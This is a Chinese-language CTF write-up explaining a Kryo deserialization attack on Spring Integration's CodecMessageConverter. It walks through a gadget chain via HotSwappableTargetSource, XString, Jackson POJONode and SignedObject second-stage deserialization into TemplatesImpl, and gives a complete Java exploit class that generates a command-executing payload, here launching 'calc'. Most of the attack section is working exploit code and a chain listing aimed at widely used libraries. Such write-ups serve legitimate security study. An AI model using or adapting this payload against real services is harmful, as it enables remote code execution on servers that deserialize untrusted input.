原理速览
在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为
【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法
【Web】浅聊Java反序列化之Rome——关于其他利用链
至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链
【Web】关于Java反序列化那些实现机制的朴素通识
而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化
构造细节
拿到源码似乎并没有直接给出反序列化入口,也没有看到waf
可以做文章的也就是最后return的代码
先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class
简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能
实例化完毕后接着再调用其toMessage方法
Message<?> decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);
这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message<?> 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。
这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象
EXP
package com.sea;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class EXP {
public static void main(String[] args) throws Exception {
// 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
POJONode pojoNode1 = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
setFieldValue(badAttributeValueExpException, "val", pojoNode1);
// 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
// 初始化 SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
// 手动构造 HashMap 以防触发正向利用链
HashMap hashMap = new HashMap();
setFieldValue(hashMap, "size", 2);
Class nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
setFieldValue(hashMap, "table", tbl);
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
// 序列化
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
// 反序列化
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
messagecode.getPayload();
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
利用链
CodecMessageConverter
-> toMessage(decodemsg, ...)
this.codec.decode(decodemsg, ...)
AbstractKryoCodec
-> decode(decodemsg, ...)
PojoCodec
-> doDecode(...)
Kryo
-> readObject(...)
MapSerializer
-> read(...)
Map#put(hotSwappableTargetSource, ...)
HotSwappableTargetSource
-> equals(...)
XString
-> equals(pojoNode)
BaseJsonNode
-> toString()
InternalNodeMapper#nodeToString(this)
SignedObject
-> getObject()
a.readObject()
BadAttributeValueExpException
-> readObject()
valObj.toString()
BaseJsonNode
-> toString()
InternalNodeMapper#nodeToString(this)
TemplatesImpl
-> getOutputProperties()
...
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。